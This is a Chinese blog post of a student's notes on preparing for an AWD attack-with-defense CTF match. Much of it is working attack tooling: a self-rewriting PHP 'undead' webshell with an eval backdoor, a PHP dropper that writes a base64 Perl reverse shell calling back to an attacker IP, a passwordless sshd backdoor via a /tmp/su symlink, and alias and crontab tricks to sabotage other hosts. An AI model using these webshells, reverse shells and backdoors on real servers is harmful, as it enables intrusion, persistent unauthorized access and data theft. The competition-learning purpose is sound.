天天看點

記第一次 AWD 賽前準備與賽後小結

記錄一下菜鳥第一次打 AWD 的經曆,可能會對跟我一樣的小白們有些幫助。

比賽之前,先記錄一下學的東西。感謝(@Sn0w)學長搭建的 AWD 靶場給我們。

基礎知識網上有好多,就不寫了。

不死馬的利用與删除

首先學習的就是不死馬,因為它比較經典吧。

記第一次 AWD 賽前準備與賽後小結

密碼為 md5 加密過的為 m0re666,然後傳入參數。

假設已經上傳不死馬。

首先,利用方式為,先通路一下,一般是 upload 檔案夾有上傳權限,是以一般放這裡,通路

http://xxx.xxx.xxx.xxx:/upload/header.php

通路執行後,不死馬開始起作用了,直接通路:

http://xxx.xxx.xxx.xxx:/.login.php?passwd=m0re666&m0re=system('cat /flag');

得到 flag。因為是不死馬,是以可以一直使用這個點來得分,不過現在不死馬已人盡皆知,恐怕隻能拿一輪分數就會被殺了。

變種不死馬

<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.login.php';
$file1 = '-header.php';
$code = '<?php if(md5($_GET["passwd"])=="8895b28b63e543b78f8bc5eaff8f3d86"){@eval($_REQUEST["m0re"]);} ?>';
while (1){
    file_put_contents($file,$code);
    //system('touch -m -d "2018-12-01 09:10:12" .login.php');
    file_put_contents($file1,$code);
    usleep(5000);
}
?>
#passwd=m0re666&m0re=system('cat /flag');           

複制

這個變種的,它的不同點在檔案名,是

-

開頭的,這裡介紹一下這個比較騷的知識點。

-

開頭的檔案名,因為在 Linux 指令行中,各種指令會有許多的參數,是以,如果對這樣方式命名的檔案,執行任何指令,都會将這個檔案當做參數來執行指令,沒有該參數就會報錯。導緻什麼指令都無法在這個不死馬上執行,但是,在浏覽器中連接配接通路是沒問題的,依舊可以解析。可以在自己伺服器上開啟 docker 進行嘗試。

記第一次 AWD 賽前準備與賽後小結

殺掉不死馬

ps aux | grep www-data | awk '{print $2}' | xargs kill -9
通過條件競争清除
#!/bin/bash
dire="/var/www/html/.base.php/"
file="/var/www/html/.base.php"
rm -rf $file
mkdir $dire
./xx.sh           

複制

具體的其他殺不死馬的方式還有很多,不列舉了。

反彈 shell

如下是一個可以反彈 shell 的 php 腳本:

<?php
  function which($pr) {
    $path = execute("which $pr");
    return ($path ? $path : $pr);
  }
  function execute($cfe) {
    $res = '';
    if ($cfe) {
      if(function_exists('exec')) {
        @exec($cfe,$res);
        $res = join("\n",$res);
      }
      elseif (function_exists('shell_exec')) {
        $res = @shell_exec($cfe);
      }
      elseif (function_exists('system')) {
        @ob_start();
        @system($cfe);
        $res = @ob_get_contents();
        @ob_end_clean();
      }
      elseif (function_exists('passthru')) {
        @ob_start();
        @passthru($cfe);
        $res = @ob_get_contents();
        @ob_end_clean();
      }
      elseif (@is_resource($f = @popen($cfe, "r"))) {
        $res = '';
        while(!@feof($f)) {
          $res .= @fread($f,1024);
        }
        @pclose($f);
      }
    }
    return $res;
  }
  function cf($fname, $text) {
    if($fp = @fopen($fname, 'w')) {
      @fputs($fp, @base64_decode($text));
      @fclose($fp);
    }
  }
$yourip = "xxx.xxx.xxx.xxx";
$yourport = '1024';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?>           

複制

使用方法也是很簡單,将 shell 檔案上傳至可通路的地方

開啟 nc 監聽

nc -l -vv [port] #這裡是 1024,可以自己設定           

複制

然後通路該檔案,就成功反彈 shell

效果如下:

記第一次 AWD 賽前準備與賽後小結

然後記個小 tip:美化終端,不過還是别花時間做這個了,雖然就一條指令。

python -c "import pty; pty.spawn('/bin/bash')"           

複制

記第一次 AWD 賽前準備與賽後小結

小 Trick: 使用

find / -name *flag*

grep -rn "flag" *

類似的語句可以快速發現 flag 所在的地方,友善後續拿分。

記第一次 AWD 賽前準備與賽後小結

軟連結

可以建立個軟連結,連結到根目錄下 flag

ln -s /flag /var/www/html/upload/footer.js

這個有兩種方式,一種是直接使用,在他們還沒來得及挂流量監控和檔案監控的時候,趕快使用這條指令,直接在可以寫入的 upload 檔案夾下建立軟連結。寫成這樣,不會有太多人去懷疑這個點。

然後直接

cat upload

檔案夾下的

footer.js

就可以得到 flag

也可以直接通路

upload/footer.js

得到 flag 如下:

記第一次 AWD 賽前準備與賽後小結

第二種利用方式,批量!!!前提是對方開啟監控,怕被删怎麼辦,就直接批量寫,到處寫垃圾檔案,讓他們删不過來。而我們知道這個 flag 連結的檔案是哪個,就可以持續得分。但是,沒有嘗試,因為自己伺服器有點小。

ssh 免密登入(未嘗試)

在終端執行此指令,然後可以實作 ssh 免密登陸

ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;

連接配接:

ssh [email protected] -p 5555

密碼随意。

其他

alias 指令,指令文檔。

記第一次 AWD 賽前準備與賽後小結

怎麼說,就是看利用方式

記第一次 AWD 賽前準備與賽後小結

root 權限怎麼會沒權限?别人進來也無法 cat 到 flag,當然還可以使用其他辦法檢視。

還有就是改定時任務,别人看不了我們的定時任務。可以嘗試改别人的。前提是有權限之後。

crontab -r  
alias crontab="echo no crontab for `whoami` ||"
#傳回假的flag
alias cat="echo `date`|md5sum|cut -d ' ' -f1||"           

複制

主機發現

比賽可能會告訴你其他隊伍的 IP,也可能不會告訴你,一般在同一個 C 段或者 B 段,是以需要首先利用

nmap

httpscan

等掃描工具發現其他隊伍的 IP。

nmap:

nmap –sn 192.168.71.0/24           

複制

httpscan

./httpscan.py 10.20.30.0/24 –t 10           

複制

修改 curl 指令

alias curl='echo fuckoff' #權限要求較低
# 或者
alias curl='python -c "__import__(\"sys\").stdout.write(\"flag{%s}\\n\" % (__import__(\"hashlib\").md5(\"\".join([__import__(\"random\").choice(__import__(\"string\").letters) for i in range(0x10)])).hexdigest()))"'
chmod -x curl #降級,取消執行權限(權限要求較高)           

複制

關閉不必要端口

netstat -napt 檢視目前網絡連接配接狀态
lsof -i 用以顯示符合條件的程序情況
lsof -i:22  檢視22端口現在運作什麼程式
kill -9 <PID>  殺掉程序
nmap -sV ip位址(-sV參數可以探測目标主機的伺服器版本)           

複制

批量送出 flag 的腳本,可以進行百度,找一些腳本自己根據比賽場景進行修改。

賽後

吐槽:真的就是賽前瘋狂搜集各種腳本姿勢。比賽時沒有用上多少。emmmmm,怎麼說就是感覺沒什麼可以記錄的了。這個比賽已經被噴了,人學校酒店挺好的,住着很舒服。關于比賽的就不再記錄了。就記一下學習的内容。

賽題複現

dump 下來 html 源碼,使用 D 盾掃描

記第一次 AWD 賽前準備與賽後小結

發現後門就立刻上傳自己的不死馬。然後激活并進行維權。相信百度上能找到很多簡單維權的辦法。還有攪屎的。比如 fock 炸彈等……

接下來就是 Seay 源碼審計系統,進行代碼審計,筆者比較菜,是以就隻說怎麼做。

記第一次 AWD 賽前準備與賽後小結

然後根據漏洞進行驗證就可以了。

總結

AWD 的話,我是負責攻擊,防禦交給隊友,其實面對新手的小型比賽,重點就是D盾掃描,快速找到後門,然後批量上馬,批量上馬是有時間改腳本的,這次比賽,過程很懵,我以為不同隊伍是 C 段不同而已,結果是 ==emmmm,估計是開的 docker,服了。

如果,批量沒實作,就嘗試一個個的上傳吧。不過最後可能是有幾個能拿分的。最重要的一點就是,别被别人騎到自己的馬了。emmm,目前我收集到的東西就這麼多,比較适合盲目百度而不知道從何下手的新手。請師傅們輕點噴。